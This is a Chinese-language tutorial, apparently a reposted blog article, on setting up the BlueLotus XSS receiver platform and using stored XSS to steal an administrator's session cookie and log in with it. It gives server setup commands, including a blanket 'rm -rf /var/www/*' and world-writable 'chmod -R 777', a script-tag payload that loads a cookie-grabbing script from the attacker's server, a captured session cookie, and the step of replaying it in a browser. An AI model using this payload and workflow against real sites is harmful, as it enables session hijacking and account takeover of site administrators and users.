構造個人輕量級XSS平台獲取管理員cookie並登錄


一、前言

本平台是個人輕量級XSS測試平台,僅作為練習參考。

 二、實驗環境

服務器操作系統:Centos 7

Web容器:Apache

 三、平台搭建過程

安裝Apache

安裝PHP

安裝Git工具

GitHub克隆XSS平台源碼

# 刪除默認網站內容

rm  -rf  /var/www/*

# 創建新的網站目錄

mkdir  /var/www/xss

GitHub克隆xss測試源碼(https://github.com/firesunCN/BlueLotus_XSSReceiver.git

git  clone  https://github.com/firesunCN/BlueLotus_XSSReceiver.git  /var/www/xss/

# 給xss目錄

chmod  -R  777  /var/www/xss/

配置Apache

# 創建虛擬主機配置文件夾

mkdir  /etc/httpd/conf/vhost

# 創建並編輯虛擬機配置文件

vi  /etc/httpd/conf/vhost/httpd-vhosts.conf

添加以下內容:

<VirtualHost *:80>

       DocumentRoot "/var/www/xss"

       DirectoryIndex admin.php

</VirtualHost>

# 編輯httpd.conf文件

vi  /etc/httpd/conf/httpd.conf

# 允許使用 .htaccess文件

# 添加之前創建的虛擬主機

Include  /etc/httpd/conf/vhost/httpd-vhosts.conf

# 開機啟動Apache服務

chkconfig  httpd  on

# 重新加載Apache配置文件

systemctl  start  httpd

回到瀏覽器訪問服務器結果顯示無法訪問網站,經過排查是防火牆攔了。

# 命令行配置防火牆開放80端口

firewall-cmd --zone=public --add-port=80/tcp --permanent

# 重啟防火牆

systemctl  restart  firewalld

安裝XSS平台

# 訪問服務器ip地址,點擊安裝

# 主要修改后台登錄密碼和數據加密密碼,其余保持默認,然后提交

若報錯則手動安裝,手動安裝步驟:

# 首先切換到網站跟目錄

cd  /var/www/xss

# 將配置文件改名

mv  config_sample.php   config.php

# 刪除install.php文件

rm  -f  install.php

# 若要修改密碼信息只需修改config.php文件

安裝成功,點擊登錄

成功登錄

功能測試

# 點擊我的JS,插入模板,選擇Defualt.js,修改網站服務器ip地址

http://192.168.75.129/index.php

# 生成payload

<script src="http://192.168.75.129/myjs/cookie.js"></script>

# 成功獲取用戶cookie

ASPSESSIONIDCQBSTQBB=BHILNFDBLNPBDMOBFPHNOFBJ

 

# 利用Google瀏覽器插件edit this cookie修改cookie登錄

 

 

 

 

到此存儲型xss注入獲取管理員cookie並登錄已經圓滿完成。

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM